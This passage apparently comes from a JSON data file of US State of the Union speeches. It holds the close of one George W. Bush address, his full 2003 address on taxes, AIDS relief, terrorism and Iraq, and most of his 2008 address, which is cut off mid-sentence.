and stayed in the fight. He helped to\nrepel a second attack, firing grenades at the enemy's position. For his\nexceptional courage, Sergeant Rieman was awarded the Silver Star. And like so\nmany other Americans who have volunteered to defend us, he has earned the\nrespect and the gratitude of our whole country.In such courage and compassion, ladies and gentlemen, we see the spirit and\ncharacter of America, and these qualities are not in short supply. This is a\ndecent and honorable country, and resilient, too. We have been through a lot\ntogether. We have met challenges and faced dangers, and we know that more lie\nahead. Yet we can go forward with confidence, because the state of our Union is\nstrong, our cause in the world is right, and tonight that cause goes on. God\nbless. Thank you for your prayers. Thank you.[Applause, the Members rising.]", 
+    "name": "George W. Bush"
+}
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+{
+    "date": "January 28, 2003", 
+    "speech": "Mr. Speaker, Vice President Cheney, Members of Congress, distinguished citizens\nand fellow citizens: Every year, by law and by custom, we meet here to consider\nthe state of the Union. This year, we gather in this Chamber deeply aware of\ndecisive days that lie ahead.You and I serve our country in a time of great consequence. During this session\nof Congress, we have the duty to reform domestic programs vital to our country.\nWe have the opportunity to save millions of lives abroad from a terrible\ndisease. We will work for a prosperity that is broadly shared, and we will\nanswer every danger and every enemy that threatens the American people.In all these days of promise and days of reckoning, we can be confident. In a\nwhirlwind of change and hope and peril, our faith is sure; our resolve is firm;\nand our Union is strong.This country has many challenges. We will not deny, we will not ignore, we will\nnot pass along our problems to other Congresses, to other Presidents, and other\ngenerations. We will confront them with focus and clarity and courage.During the last 2 years, we have seen what can be accomplished when we work\ntogether. To lift the standards of our public schools, we achieved historic\neducation reform, which must now be carried out in every school and in every\nclassroom so that every child in America can read and learn and succeed in life.\nTo protect our country, we reorganized our Government and created the Department\nof Homeland Security, which is mobilizing against the threats of a new era. To\nbring our economy out of recession, we delivered the largest tax relief in a\ngeneration. To insist on integrity in American business, we passed tough\nreforms, and we are holding corporate criminals to account.Some might call this a good record. I call it a good start. Tonight I ask the\nHouse and the Senate to join me in the next bold steps to serve our fellow\ncitizens.Our first goal is clear: We must have an economy that grows fast enough to\nemploy every man and woman who seeks a job. After recession, terrorist attacks,\ncorporate scandals, and stock market declines, our economy is recovering. Yet,\nit's not growing fast enough or strongly enough. With unemployment rising, our\nNation needs more small businesses to open, more companies to invest and expand,\nmore employers to put up the sign that says, \"Help Wanted.\" Jobs are created\nwhen the economy grows. The economy grows when Americans have more money to\nspend and invest, and the best and fairest way to make sure Americans have that\nmoney is not to tax it away in the first place.I am proposing that all the income-tax reductions set for 2004 and 2006 be made\npermanent and effective this year. And under my plan, as soon as I've signed the\nbill, this extra money will start showing up in workers' paychecks. Instead of\ngradually reducing the marriage penalty, we should do it now. Instead of slowly\nraising the child credit to $1,000, we should send the checks to American\nfamilies now.The tax relief is for everyone who pays income taxes, and it will help our\neconomy immediately: 92 million Americans will keep, this year, an average of\nalmost $1,100 more of their own money; a family of 4 with an income of $40,000\nwould see their Federal income taxes fall from $1,178 to $45 per year; our plan\nwill improve the bottom line for more than 23 million small businesses.You, the Congress, have already passed all these reductions and promised them\nfor future years. If this tax relief is good for Americans 3, or 5, or 7 years\nfrom now, it is even better for Americans today.We should also strengthen the economy by treating investors equally in our tax\nlaws. It's fair to tax a company's profits. It is not fair to again tax the\nshareholder on the same profits. To boost investor confidence and to help the\nnearly 10 million seniors who receive dividend income, I ask you to end the\nunfair double taxation of dividends.Lower taxes and greater investment will help this economy expand. More jobs mean\nmore taxpayers and higher revenues to our Government. The best way to address\nthe deficit and move toward a balanced budget is to encourage economic growth\nand to show some spending discipline in Washington, DC.We must work together to fund only our most important priorities. I will send\nyou a budget that increases discretionary spending by 4 percent next year, about\nas much as the average family's income is expected to grow. And that is a good\nbenchmark for us. Federal spending should not rise any faster than the paychecks\nof American families.A growing economy and a focus on essential priorities will be crucial to the\nfuture of Social Security. As we continue to work together to keep Social\nSecurity sound and reliable, we must offer younger workers a chance to invest in\nretirement accounts that they will control and they will own.Our second goal is high quality, affordable health for all Americans. The\nAmerican system of medicine is a model of skill and innovation, with a pace of\ndiscovery that is adding good years to our lives. Yet for many people, medical\ncare costs too much, and many have no health coverage at all. These problems\nwill not be solved with a nationalized health care system that dictates coverage\nand rations care.Instead, we must work toward a system in which all Americans have a good\ninsurance policy, choose their own doctors, and seniors and low- income\nAmericans receive the help they need. Instead of bureaucrats and trial lawyers\nand HMOs, we must put doctors and nurses and patients back in charge of American\nmedicine.Health care reform must begin with Medicare. Medicare is the binding commitment\nof a caring society. We must renew that commitment by giving seniors access to\npreventive medicine and new drugs that are transforming health care in America.Seniors happy with the current Medicare system should be able to keep their\ncoverage just the way it is. And just like you, the Members of Congress, and\nyour staffs and other Federal employees, all seniors should have the choice of a\nhealth care plan that provides prescription drugs.My budget will commit an additional $400 billion over the next decade to reform\nand strengthen Medicare. Leaders of both political parties have talked for years\nabout strengthening Medicare. I urge the Members of this new Congress to act\nthis year.To improve our health care system, we must address one of the prime causes of\nhigher cost, the constant threat that physicians and hospitals will be unfairly\nsued. Because of excessive litigation, everybody pays more for health care, and\nmany parts of America are losing fine doctors. No one has ever been healed by a\nfrivolous lawsuit. I urge the Congress to pass medical liability reform.Our third goal is to promote energy independence for our country, while\ndramatically improving the environment. I have sent you a comprehensive energy\nplan to promote energy efficiency and conservation, to develop cleaner\ntechnology, and to produce more energy at home. I have sent you Clear Skies\nlegislation that mandates a 70-percent cut in air pollution from powerplants\nover the next 15 years. I have sent you a Healthy Forests Initiative, to help\nprevent the catastrophic fires that devastate communities, kill wildlife, and\nburn away millions of acres of treasured forests.I urge you to pass these measures, for the good of both our environment and our\neconomy. Even more, I ask you to take a crucial step and protect our environment\nin ways that generations before us could not have imagined.In this century, the greatest environmental progress will come about not through\nendless lawsuits or command-and-control regulations but through technology and\ninnovation. Tonight I'm proposing $1.2 billion in research funding so that\nAmerica can lead the world in developing clean, hydrogen-powered automobiles.A simple chemical reaction between hydrogen and oxygen generates energy, which\ncan be used to power a car, producing only water, not exhaust fumes. With a new\nnational commitment, our scientists and engineers will overcome obstacles to\ntaking these cars from laboratory to showroom, so that the first car driven by a\nchild born today could be powered by hydrogen and pollution-free. Join me in\nthis important innovation to make our air significantly cleaner and our country\nmuch less dependent on foreign sources of energy.Our fourth goal is to apply the compassion of America to the deepest problems of\nAmerica. For so many in our country, the homeless and the fatherless, the\naddicted, the need is great. Yet there's power, wonder- working power, in the\ngoodness and idealism and faith of the American people.Americans are doing the work of compassion every day, visiting prisoners,\nproviding shelter for battered women, bringing companionship to lonely seniors.\nThese good works deserve our praise. They deserve our personal support, and when\nappropriate, they deserve the assistance of the Federal Government.I urge you to pass both my Faith-Based Initiative and the Citizen Service Act,\nto encourage acts of compassion that can transform America, one heart and one\nsoul at a time.Last year, I called on my fellow citizens to participate in the USA Freedom\nCorps, which is enlisting tens of thousands of new volunteers across America.\nTonight I ask Congress and the American people to focus the spirit of service\nand the resources of Government on the needs of some of our most vulnerable\ncitizens, boys and girls trying to grow up without guidance and attention and\nchildren who have to go through a prison gate to be hugged by their mom or dad.\nI propose a $450 million initiative to bring mentors to more than a million\ndisadvantaged junior high students and children of prisoners. Government will\nsupport the training and recruiting of mentors. Yet it is the men and women of\nAmerica who will fill the need. One mentor, one person can change a life\nforever, and I urge you to be that one person.Another cause of hopelessness is addiction to drugs. Addiction crowds out\nfriendship, ambition, moral conviction and reduces all the richness of life to a\nsingle destructive desire. As a government, we are fighting illegal drugs by\ncutting off supplies and reducing demand through antidrug education programs.\nYet for those already addicted, the fight against drugs is a fight for their own\nlives. Too many Americans in search of treatment cannot get it. So tonight I\npropose a new $600 million program to help an additional 300,000 Americans\nreceive treatment over the next 3 years.Our Nation is blessed with recovery programs that do amazing work. One of them\nis found at the Healing Place Church in Baton Rouge, Louisiana. A man in the\nprogram said, \"God does miracles in people's lives, and you never think it\ncould be you.\" Tonight let us bring to all Americans who struggle with drug\naddiction this message of hope: The miracle of recovery is possible, and it\ncould be you.By caring for children who need mentors and for addicted men and women who need\ntreatment, we are building a more welcoming society, a culture that values every\nlife. And in this work, we must not overlook the weakest among us. I ask you to\nprotect infants at the very hour of their birth and end the practice of\npartial-birth abortion. And because no human life should be started or ended as\nthe object of an experiment, I ask you to set a high standard for humanity and\npass a law against all human cloning.The qualities of courage and compassion that we strive for in America also\ndetermine our conduct abroad. The American flag stands for more than our power\nand our interests. Our Founders dedicated this country to the cause of human\ndignity, the rights of every person, and the possibilities of every life. This\nconviction leads us into the world to help the afflicted and defend the peace\nand confound the designs of evil men.In Afghanistan, we helped to liberate an oppressed people. And we will continue\nhelping them secure their country, rebuild their society, and educate all their\nchildren, boys and girls. In the Middle East, we will continue to seek peace\nbetween a secure Israel and a democratic Palestine. Across the Earth, America is\nfeeding the hungry. More than 60 percent of international food aid comes as a\ngift from the people of the United States. As our Nation moves troops and builds\nalliances to make our world safer, we must also remember our calling as a\nblessed country is to make the world better.Today, on the continent of Africa, nearly 30 million people have the AIDS virus,\nincluding 3 million children under the age 15. There are whole countries in\nAfrica where more than one-third of the adult population carries the infection.\nMore than 4 million require immediate drug treatment. Yet across that continent,\nonly 50,000 AIDS victims-- only 50,000--are receiving the medicine they need.Because the AIDS diagnosis is considered a death sentence, many do not seek\ntreatment. Almost all who do are turned away. A doctor in rural South Africa\ndescribes his frustration. He says, \"We have no medicines. Many hospitals tell\npeople, 'You've got AIDS. We can't help you. Go home and die.' \" In an age of\nmiraculous medicines, no person should have to hear those words.AIDS can be prevented. Antiretroviral drugs can extend life for many years. And\nthe cost of those drugs has dropped from $12,000 a year to under $300 a year,\nwhich places a tremendous possibility within our grasp. Ladies and gentlemen,\nseldom has history offered a greater opportunity to do so much for so many.We have confronted and will continue to confront HIV/AIDS in our own country.\nAnd to meet a severe and urgent crisis abroad, tonight I propose the Emergency\nPlan for AIDS Relief, a work of mercy beyond all current international efforts\nto help the people of Africa. This comprehensive plan will prevent 7 million new\nAIDS infections, treat at least 2 million people with life-extending drugs, and\nprovide humane care for millions of people suffering from AIDS and for children\norphaned by AIDS. I ask the Congress to commit $15 billion over the next 5\nyears, including nearly $10 billion in new money, to turn the tide against AIDS\nin the most afflicted nations of Africa and the Caribbean.This Nation can lead the world in sparing innocent people from a plague of\nnature. And this Nation is leading the world in confronting and defeating the\nmanmade evil of international terrorism.There are days when our fellow citizens do not hear news about the war on\nterror. There's never a day when I do not learn of another threat or receive\nreports of operations in progress or give an order in this global war against a\nscattered network of killers. The war goes on, and we are winning.To date, we've arrested or otherwise dealt with many key commanders of Al Qaida.\nThey include a man who directed logistics and funding for the September the 11th\nattacks, the chief of Al Qaida operations in the Persian Gulf who planned the\nbombings of our embassies in east Africa and the U.S.S. Cole, an Al Qaida\noperations chief from Southeast Asia, a former director of Al Qaida's training\ncamps in Afghanistan, a key Al Qaida operative in Europe, a major Al Qaida\nleader in Yemen. All told, more than 3,000 suspected terrorists have been\narrested in many countries. Many others have met a different fate. Let's put it\nthis way: They are no longer a problem to the United States and our friends and\nallies.We are working closely with other nations to prevent further attacks. America\nand coalition countries have uncovered and stopped terrorist conspiracies\ntargeting the Embassy in Yemen, the American Embassy in Singapore, a Saudi\nmilitary base, ships in the Straits of Hormuz and the Straits of Gibraltar.\nWe've broken Al Qaida cells in Hamburg, Milan, Madrid, London, Paris, as well as\nBuffalo, New York.We have the terrorists on the run. We're keeping them on the run. One by one,\nthe terrorists are learning the meaning of American justice.As we fight this war, we will remember where it began: Here, in our own country.\nThis Government is taking unprecedented measures to protect our people and\ndefend our homeland. We've intensified security at the borders and ports of\nentry, posted more than 50,000 newly trained Federal screeners in airports,\nbegun inoculating troops and first- responders against smallpox, and are\ndeploying the Nation's first early warning network of sensors to detect\nbiological attack. And this year, for the first time, we are beginning to field\na defense to protect this Nation against ballistic missiles.I thank the Congress for supporting these measures. I ask you tonight to add to\nour future security with a major research and production effort to guard our\npeople against bioterrorism, called Project BioShield. The budget I send you\nwill propose almost $6 billion to quickly make available effective vaccines and\ntreatments against agents like anthrax, botulinum toxin, Ebola, and plague. We\nmust assume that our enemies would use these diseases as weapons, and we must\nact before the dangers are upon us.Since September the 11th, our intelligence and law enforcement agencies have\nworked more closely than ever to track and disrupt the terrorists. The FBI is\nimproving its ability to analyze intelligence and is transforming itself to meet\nnew threats. Tonight I am instructing the leaders of the FBI, the CIA, the\nHomeland Security, and the Department of Defense to develop a Terrorist Threat\nIntegration Center, to merge and analyze all threat information in a single\nlocation. Our Government must have the very best information possible, and we\nwill use it to make sure the right people are in the right places to protect all\nour citizens.Our war against terror is a contest of will in which perseverance is power. In\nthe ruins of two towers, at the western wall of the Pentagon, on a field in\nPennsylvania, this Nation made a pledge, and we renew that pledge tonight:\nWhatever the duration of this struggle and whatever the difficulties, we will\nnot permit the triumph of violence in the affairs of men; free people will set\nthe course of history.Today, the gravest danger in the war on terror, the gravest danger facing\nAmerica and the world, is outlaw regimes that seek and possess nuclear,\nchemical, and biological weapons. These regimes could use such weapons for\nblackmail, terror, and mass murder. They could also give or sell those weapons\nto terrorist allies, who would use them without the least hesitation.This threat is new. America's duty is familiar. Throughout the 20th century,\nsmall groups of men seized control of great nations, built armies and arsenals,\nand set out to dominate the weak and intimidate the world. In each case, their\nambitions of cruelty and murder had no limit. In each case, the ambitions of\nHitlerism, militarism, and communism were defeated by the will of free peoples,\nby the strength of great alliances, and by the might of the United States of\nAmerica.Now, in this century, the ideology of power and domination has appeared again\nand seeks to gain the ultimate weapons of terror. Once again, this Nation and\nall our friends are all that stand between a world at peace and a world of chaos\nand constant alarm. Once again, we are called to defend the safety of our people\nand the hopes of all mankind. And we accept this responsibility.America is making a broad and determined effort to confront these dangers. We\nhave called on the United Nations to fulfill its charter and stand by its demand\nthat Iraq disarm. We're strongly supporting the International Atomic Energy\nAgency in its mission to track and control nuclear materials around the world.\nWe're working with other governments to secure nuclear materials in the former\nSoviet Union and to strengthen global treaties banning the production and\nshipment of missile technologies and weapons of mass destruction.In all these efforts, however, America's purpose is more than to follow a\nprocess; it is to achieve a result, the end of terrible threats to the civilized\nworld. All free nations have a stake in preventing sudden and catastrophic\nattacks. And we're asking them to join us, and many are doing so. Yet the course\nof this Nation does not depend on the decisions of others. Whatever action is\nrequired, whenever action is necessary, I will defend the freedom and security\nof the American people.Different threats require different strategies. In Iran, we continue to see a\nGovernment that represses its people, pursues weapons of mass destruction, and\nsupports terror. We also see Iranian citizens risking intimidation and death as\nthey speak out for liberty and human rights and democracy. Iranians, like all\npeople, have a right to choose their own Government and determine their own\ndestiny, and the United States supports their aspirations to live in freedom.On the Korean Peninsula, an oppressive regime rules a people living in fear and\nstarvation. Throughout the 1990s, the United States relied on a negotiated\nframework to keep North Korea from gaining nuclear weapons. We now know that\nthat regime was deceiving the world and developing those weapons all along. And\ntoday the North Korean regime is using its nuclear program to incite fear and\nseek concessions. America and the world will not be blackmailed.America is working with the countries of the region, South Korea, Japan, China,\nand Russia, to find a peaceful solution and to show the North Korean Government\nthat nuclear weapons will bring only isolation, economic stagnation, and\ncontinued hardship. The North Korean regime will find respect in the world and\nrevival for its people only when it turns away from its nuclear ambitions.Our Nation and the world must learn the lessons of the Korean Peninsula and not\nallow an even greater threat to rise up in Iraq. A brutal dictator, with a\nhistory of reckless aggression, with ties to terrorism, with great potential\nwealth, will not be permitted to dominate a vital region and threaten the United\nStates.Twelve years ago, Saddam Hussein faced the prospect of being the last casualty\nin a war he had started and lost. To spare himself, he agreed to disarm of all\nweapons of mass destruction. For the next 12 years, he systematically violated\nthat agreement. He pursued chemical, biological, and nuclear weapons, even while\ninspectors were in his country. Nothing to date has restrained him from his\npursuit of these weapons, not economic sanctions, not isolation from the\ncivilized world, not even cruise missile strikes on his military facilities.Almost 3 months ago, the United Nations Security Council gave Saddam Hussein his\nfinal chance to disarm. He has shown instead utter contempt for the United\nNations and for the opinion of the world. The 108 U.N. inspectors were sent to\nconduct--were not sent to conduct a scavenger hunt for hidden materials across a\ncountry the size of California. The job of the inspectors is to verify that\nIraq's regime is disarming. It is up to Iraq to show exactly where it is hiding\nits banned weapons, lay those weapons out for the world to see, and destroy them\nas directed. Nothing like this has happened.The United Nations concluded in 1999 that Saddam Hussein had biological weapons\nsufficient to produce over 25,000 liters of anthrax, enough doses to kill\nseveral million people. He hasn't accounted for that material. He's given no\nevidence that he has destroyed it. The United Nations concluded that Saddam\nHussein had materials sufficient to produce more than 38,000 liters of botulinum\ntoxin, enough to subject millions of people to death by respiratory failure. He\nhasn't accounted for that material. He's given no evidence that he has destroyed\nit. Our intelligence officials estimate that Saddam Hussein had the materials to\nproduce as much as 500 tons of sarin, mustard, and VX nerve agent. In such\nquantities, these chemical agents could also kill untold thousands. He's not\naccounted for these materials. He has given no evidence that he has destroyed\nthem. U.S. intelligence indicates that Saddam Hussein had upwards of 30,000\nmunitions capable of delivering chemical agents. Inspectors recently turned up\n16 of them, despite Iraq's recent declaration denying their existence. Saddam\nHussein has not accounted for the remaining 29,984 of these prohibited\nmunitions. He's given no evidence that he has destroyed them.From three Iraqi defectors we know that Iraq, in the late 1990s, had several\nmobile biological weapons labs. These are designed to produce germ warfare\nagents and can be moved from place to a place to evade inspectors. Saddam\nHussein has not disclosed these facilities. He's given no evidence that he has\ndestroyed them.The International Atomic Energy Agency confirmed in the 1990s that Saddam\nHussein had an advanced nuclear weapons development program, had a design for a\nnuclear weapon, and was working on five different methods of enriching uranium\nfor a bomb. The British Government has learned that Saddam Hussein recently\nsought significant quantities of uranium from Africa. Our intelligence sources\ntell us that he has attempted to purchase high-strength aluminum tubes suitable\nfor nuclear weapons production. Saddam Hussein has not credibly explained these\nactivities. He clearly has much to hide.The dictator of Iraq is not disarming. To the contrary, he is deceiving. From\nintelligence sources we know, for instance, that thousands of Iraqi security\npersonnel are at work hiding documents and materials from the U.N. inspectors,\nsanitizing inspection sites, and monitoring the inspectors themselves. Iraqi\nofficials accompany the inspectors in order to intimidate witnesses.Iraq is blocking U-2 surveillance flights requested by the United Nations. Iraqi\nintelligence officers are posing as the scientists inspectors are supposed to\ninterview. Real scientists have been coached by Iraqi officials on what to say.\nIntelligence sources indicate that Saddam Hussein has ordered that scientists\nwho cooperate with U.N. inspectors in disarming Iraq will be killed, along with\ntheir families.Year after year, Saddam Hussein has gone to elaborate lengths, spent enormous\nsums, taken great risks to build and keep weapons of mass destruction. But why?\nThe only possible explanation, the only possible use he could have for those\nweapons, is to dominate, intimidate, or attack.With nuclear arms or a full arsenal of chemical and biological weapons, Saddam\nHussein could resume his ambitions of conquest in the Middle East and create\ndeadly havoc in that region. And this Congress and the American people must\nrecognize another threat. Evidence from intelligence sources, secret\ncommunications, and statements by people now in custody reveal that Saddam\nHussein aids and protects terrorists, including members of Al Qaida. Secretly\nand without fingerprints, he could provide one of his hidden weapons to\nterrorists or help them develop their own.Before September the 11th, many in the world believed that Saddam Hussein could\nbe contained. But chemical agents, lethal viruses, and shadowy terrorist\nnetworks are not easily contained. Imagine those 19 hijackers with other weapons\nand other plans, this time armed by Saddam Hussein. It would take one vial, one\ncanister, one crate slipped into this country to bring a day of horror like none\nwe have ever known. We will do everything in our power to make sure that that\nday never comes.Some have said we must not act until the threat is imminent. Since when have\nterrorists and tyrants announced their intentions, politely putting us on notice\nbefore they strike? If this threat is permitted to fully and suddenly emerge,\nall actions, all words, and all recriminations would come too late. Trusting in\nthe sanity and restraint of Saddam Hussein is not a strategy, and it is not an\noption.The dictator who is assembling the world's most dangerous weapons has already\nused them on whole villages, leaving thousands of his own citizens dead, blind,\nor disfigured. Iraqi refugees tell us how forced confessions are obtained, by\ntorturing children while their parents are made to watch. International human\nrights groups have cataloged other methods used in the torture chambers of Iraq:\nelectric shock, burning with hot irons, dripping acid on the skin, mutilation\nwith electric drills, cutting out tongues, and rape. If this is not evil, then\nevil has no meaning.And tonight I have a message for the brave and oppressed people of Iraq: Your\nenemy is not surrounding your country; your enemy is ruling your country. And\nthe day he and his regime are removed from power will be the day of your\nliberation.The world has waited 12 years for Iraq to disarm. America will not accept a\nserious and mounting threat to our country and our friends and our allies. The\nUnited States will ask the U.N. Security Council to convene on February the 5th\nto consider the facts of Iraq's ongoing defiance of the world. Secretary of\nState Powell will present information and intelligence about Iraqi's\nlegal--Iraq's illegal weapons programs, its attempt to hide those weapons from\ninspectors, and its links to terrorist groups.We will consult. But let there be no misunderstanding: If Saddam Hussein does\nnot fully disarm, for the safety of our people and for the peace of the world,\nwe will lead a coalition to disarm him.Tonight I have a message for the men and women who will keep the peace, members\nof the American Armed Forces: Many of you are assembling in or near the Middle\nEast, and some crucial hours may lay ahead. In those hours, the success of our\ncause will depend on you. Your training has prepared you. Your honor will guide\nyou. You believe in America, and America believes in you.Sending Americans into battle is the most profound decision a President can\nmake. The technologies of war have changed; the risks and suffering of war have\nnot. For the brave Americans who bear the risk, no victory is free from sorrow.\nThis Nation fights reluctantly, because we know the cost and we dread the days\nof mourning that always come.We seek peace. We strive for peace. And sometimes peace must be defended. A\nfuture lived at the mercy of terrible threats is no peace at all. If war is\nforced upon us, we will fight in a just cause and by just means, sparing, in\nevery way we can, the innocent. And if war is forced upon us, we will fight with\nthe full force and might of the United States military, and we will prevail.And as we and our coalition partners are doing in Afghanistan, we will bring to\nthe Iraqi people food and medicines and supplies and freedom.Many challenges, abroad and at home, have arrived in a single season. In 2\nyears, America has gone from a sense of invulnerability to an awareness of\nperil, from bitter division in small matters to calm unity in great causes. And\nwe go forward with confidence, because this call of history has come to the\nright country.Americans are a resolute people who have risen to every test of our time.\nAdversity has revealed the character of our country, to the world and to\nourselves. America is a strong nation and honorable in the use of our strength.\nWe exercise power without conquest, and we sacrifice for the liberty of\nstrangers.Americans are a free people, who know that freedom is the right of every person\nand the future of every nation. The liberty we prize is not America's gift to\nthe world, it is God's gift to humanity.We Americans have faith in ourselves, but not in ourselves alone. We do not\nknow--we do not claim to know all the ways of providence, yet we can trust in\nthem, placing our confidence in the loving God behind all of life and all of\nhistory.May He guide us now. And may God continue to bless the United States of America.", 
+    "name": "George W. Bush"
+}
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+{
+    "date": "January 28, 2008", 
+    "speech": "Madam Speaker, Vice President Cheney, Members of Congress, distinguished\nguests, and fellow citizens:Seven years have passed since I first stood before you at this rostrum. In\nthat time, our country has been tested in ways none of us could have imagined.\nWe have faced hard decisions about peace and war, rising competition in the\nworld economy, and the health and welfare of our citizens. These issues call\nfor vigorous debate, and I think its fair to say weve answered that call. Yet\nhistory will record that amid our differences, we acted with purpose. And\ntogether, we showed the world the power and resilience of American\nself-government.All of us were sent to Washington to carry out the peoples business. That is\nthe purpose of this body. It is the meaning of our oath. And it remains our\ncharge to keep.The actions of the 110th Congress will affect the security and prosperity of\nour nation long after this session has ended. In this election year, let us\nshow our fellow Americans that we recognize our responsibilities and are\ndetermined to meet them. And let us show them that Republicans and Democrats\ncan compete for votes and cooperate for results at the same time.From expanding opportunity to protecting our country, we have made good\nprogress. Yet we have unfinished business before us, and the American people\nexpect us to get it done.In the work ahead, we must be guided by the philosophy that made our nation\ngreat. As Americans, we believe in the power of individuals to determine their\ndestiny and shape the course of history. We believe that the most reliable\nguide for our country is the collective wisdom of ordinary citizens. So in all\nwe do, we must trust in the ability of free people to make wise decisions, and\nempower them to improve their lives and their futures.To build a prosperous future, we must trust people with their own money and\nempower them to grow our economy. As we meet tonight, our economy is\nundergoing a period of uncertainty. America has added jobs for a record 52\nstraight months, but jobs are now growing at a slower pace. Wages are up, but\nso are prices for food and gas. Exports are rising, but the housing market has\ndeclined. And at kitchen tables across our country, there is concern about our\neconomic future.In the long run, Americans can be confident about our economic growth. But in\nthe short run, we can all see that growth is slowing. So last week, my\nadministration reached agreement with Speaker Pelosi and Republican Leader\nBoehner on a robust growth package that includes tax relief for individuals\nand families and incentives for business investment. The temptation will be to\nload up the bill. That would delay it or derail it, and neither option is\nacceptable. This is a good agreement that will keep our economy growing and\nour people working. And this Congress must pass it as soon as possible.We have other work to do on taxes. Unless the Congress acts, most of the tax\nrelief we have delivered over the past seven years will be taken away. Some in\nWashington argue that letting tax relief expire is not a tax increase. Try\nexplaining that to 116 million American taxpayers who would see their taxes\nrise by an average of $1,800. Others have said they would personally be happy\nto pay higher taxes. I welcome their enthusiasm, and I am pleased to report\nthat the I.R.S. accepts both checks and money orders.Most Americans think their taxes are high enough. With all the other pressures\non their finances, American families should not have to worry about the\nfederal government taking a bigger bite out of their paychecks. There is only\none way to eliminate this uncertainty: make the tax relief permanent. And\nmembers of Congress should know: If any bill raising taxes reaches my desk, I\nwill veto it.Just as we trust Americans with their own money, we need to earn their trust\nby spending their tax dollars wisely. Next week, I will send you a budget that\nterminates or substantially reduces 151 wasteful or bloated programs totaling\nmore than $18 billion. And this budget will keep America on track for a\nsurplus in 2012. American families have to balance their budgets, and so\nshould their government.The peoples trust in their government is undermined by Congressional earmarks \nspecial interest projects that are often snuck in at the last minute, without\ndiscussion or debate. Last year, I asked you to voluntarily cut the number and\ncost of earmarks in half. I also asked you to stop slipping earmarks into\ncommittee reports that never even come to a vote. Unfortunately, neither goal\nwas met. So this time, if you send me an appropriations bill that does not cut\nthe number and cost of earmarks in half, I will send it back to you with my\nveto. And tomorrow, I will issue an Executive Order that directs federal\nagencies to ignore any future earmark that is not voted on by the Congress. If\nthese items are truly worth funding, the Congress should debate them in the\nopen and hold a public vote.Our shared responsibilities extend beyond matters of taxes and spending.On housing, we must trust Americans with the responsibility of homeownership\nand empower them to weather turbulent times in the housing market. My\nadministration brought together the HOPE NOW alliance, which is helping many\nstruggling homeowners avoid foreclosure. The Congress can help even more.\nTonight I ask you to pass legislation to reform Fannie Mae and Freddie Mac,\nmodernize the Federal Housing Administration, and allow state housing agencies\nto issue tax-free bonds to help homeowners refinance their mortgages. These\nare difficult times for many American families, and by taking these steps, we\ncan help more of them keep their homes.To build a future of quality health care, we must trust patients and doctors\nto make medical decisions and empower them with better information and better\noptions. We share a common goal: making health care more affordable and\naccessible for all Americans. The best way to achieve that goal is by\nexpanding consumer choice, not government control. So I have proposed ending\nthe bias in the tax code against those who do not get their health insurance\nthrough their employer. This one reform would put private coverage within\nreach for millions, and I call on the Congress to pass it this year. The\nCongress must also expand health savings accounts, create Association Health\nPlans for small businesses, promote health information technology, and\nconfront the epidemic of junk medical lawsuits. With all these steps, we will\nhelp ensure that decisions about your medical care are made in the privacy of\nyour doctors office  not in the halls of Congress.On education, we must trust students to learn if given the chance and empower\nparents to demand results from our schools. In neighborhoods across our\ncountry, there are boys and girls with dreams  and a decent education is their\nonly hope of achieving them. Six years ago, we came together to pass the No\nChild Left Behind Act, and today no one can deny its results. Last year,\nfourth and eighth graders achieved the highest math scores on record. Reading\nscores are on the rise. And African-American and Hispanic students posted\nall-time highs. Now we must work together to increase accountability, add\nflexibility for states and districts, reduce the number of high school\ndropouts, and provide extra help for struggling schools. Members of Congress:\nThe No Child Left Behind Act is a bipartisan achievement. It is succeeding.\nAnd we owe it to Americas children, their parents, and their teachers to\nstrengthen this good law.We must also do more to help children when their schools do not measure up.\nThanks to the D.C. Opportunity Scholarships you approved, more than 2,600 of\nthe poorest children in our nations capital have found new hope at a\nfaith-based or other non-public school. Sadly, these schools are disappearing\nat an alarming rate in many of Americas inner cities. So I will convene a\nWhite House summit aimed at strengthening these lifelines of learning. And to\nopen the doors of these schools to more children, I ask you to support a new\n$300 million program called Pell Grants for Kids. We have seen how Pell Grants\nhelp low-income college students realize their full potential. Together, we\nhave expanded the size and reach of these grants. Now lets apply that same\nspirit to help liberate poor children trapped in failing public schools.On trade, we must trust American workers to compete with anyone in the world\nand empower them by opening up new markets overseas. Today, our economic\ngrowth increasingly depends on our ability to sell American goods, crops, and\nservices all over the world. So we are working to break down barriers to trade\nand investment wherever we can. We are working for a successful Doha round of\ntrade talks, and we must complete a good agreement this year. At the same\ntime, we are pursuing opportunities to open up new markets by passing free\ntrade agreements.I thank the Congress for approving a good agreement with Peru. Now I ask you\nto approve agreements with Colombia, Panama, and South Korea. Many products\nfrom these nations now enter America duty-free, yet many of our products face\nsteep tariffs in their markets. These agreements will level the playing field.\nThey will give us better access to nearly 100 million customers. And they will\nsupport good jobs for the finest workers in the world: those whose products\nsay \"Made in the USA.\"These agreements also promote Americas strategic interests. The first\nagreement that will come before you is with Colombia, a friend of America that\nis confronting violence and terror and fighting drug traffickers. If we fail\nto pass this agreement, we will embolden the purveyors of false populism in\nour hemisphere. So we must come together, pass this agreement, and show our\nneighbors in the region that democracy leads to a better life.Trade brings better jobs, better choices, and better prices. Yet for some\nAmericans, trade can mean losing a job, and the federal government has a\nresponsibility to help. I ask the Congress to reauthorize and reform trade\nadjustment assistance, so we can help these displaced workers learn new skills\nand find new jobs.To build a future of energy security, we must trust in the creative genius of\nAmerican researchers and entrepreneurs and empower them to pioneer a new\ngeneration of clean energy technology. Our security, our prosperity, and our\nenvironment all require reducing our dependence on oil. Last year, I asked you\nto pass legislation to reduce oil consumption over the next decade, and you\nresponded. Together we should take the next steps: Let us fund new\ntechnologies that can generate coal power while capturing carbon emissions.\nLet us increase the use of renewable power and emissions-free nuclear power.\nLet us continue investing in advanced battery technology and renewable fuels\nto power the cars and trucks of the future. Let us create a new international\nclean technology fund, which will help developing nations like India and China\nmake greater use of clean energy sources. And let us complete an international\nagreement that has the potential to slow, stop, and eventually reverse the\ngrowth of greenhouse gases. This agreement will be effective only if it\nincludes commitments by every major economy and gives none a free ride. The\nUnited States is committed to strengthening our energy security and\nconfronting global climate change. And the best way to meet these goals is for\nAmerica to continue leading the way toward the development of cleaner and more\nefficient technology.To keep America competitive into the future, we must trust in the skill of our\nscientists and engineers and empower them to pursue the breakthroughs of\ntomorrow. Last year, the Congress passed legislation supporting the American\nCompetitiveness Initiative, but never followed through with the funding. This\nfunding is essential to keeping our scientific edge. So I ask the Congress to\ndouble federal support for critical basic research in the physical sciences\nand ensure America remains the most dynamic nation on earth.On matters of science and life, we must trust in the innovative spirit 